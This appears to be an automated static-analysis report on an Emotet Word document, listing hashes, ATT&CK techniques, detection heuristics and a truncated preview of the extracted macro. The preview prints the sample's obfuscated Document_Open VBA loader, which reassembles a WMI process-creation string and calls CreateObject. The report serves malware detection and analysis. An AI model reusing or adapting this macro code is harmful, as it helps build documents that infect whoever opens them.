Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 86b0083e2d041b94…

MALICIOUS

Office (OLE)

220.4 KB Created: 2020-08-25 19:37:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: a37cc9daa1751c65a47289c15ccba062 SHA-1: c48d9b16bb8a3f0a322bb949b7750af9017d8804 SHA-256: 86b0083e2d041b94f517ccf38d1df2c2dc97edfff8ca508c9ec3ed80bc4abe86
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, specifically a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical execution chain. The ClamAV detection explicitly names the file as 'Doc.Downloader.EmotetRed02226-9938639-0', further supporting the Emotet family attribution. The macro's primary function appears to be downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12952 bytes
SHA-256: 6519a246d34f7612ca490b883dd8760118ddfa97e221e9050c85b44b67613008
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "He096naz_bjoy27_l"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
V4wqj6qxe5e3c3x4v.Bzp75pq0zh6tzwc_
End Sub


Attribute VB_Name = "V4wqj6qxe5e3c3x4v"
Attribute VB_Base = "0{8F6FA3E3-BC90-412E-99C8-3EF3A59A9418}{23627B12-34E6-4604-B554-17A893C884CC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Bzp75pq0zh6tzwc_()
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
M99h1oynkoibuy_va = 100
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
M8fbkt63a2075 = ChrW(M99h1oynkoibuy_va + (15))
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Oo04iv4vaon3nsov = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + M8fbkt63a2075 + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + V4wqj6qxe5e3c3x4v.E0pzn5jbjbwagnke6 + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Ma4amothh5hze_ = Df1ihi4kp5g4hdnq(Oo04iv4vaon3nsov)
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Set Kzg81volh0mn49t2l = CreateObject(Ma4amothh5hze_)
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) 
... (truncated)

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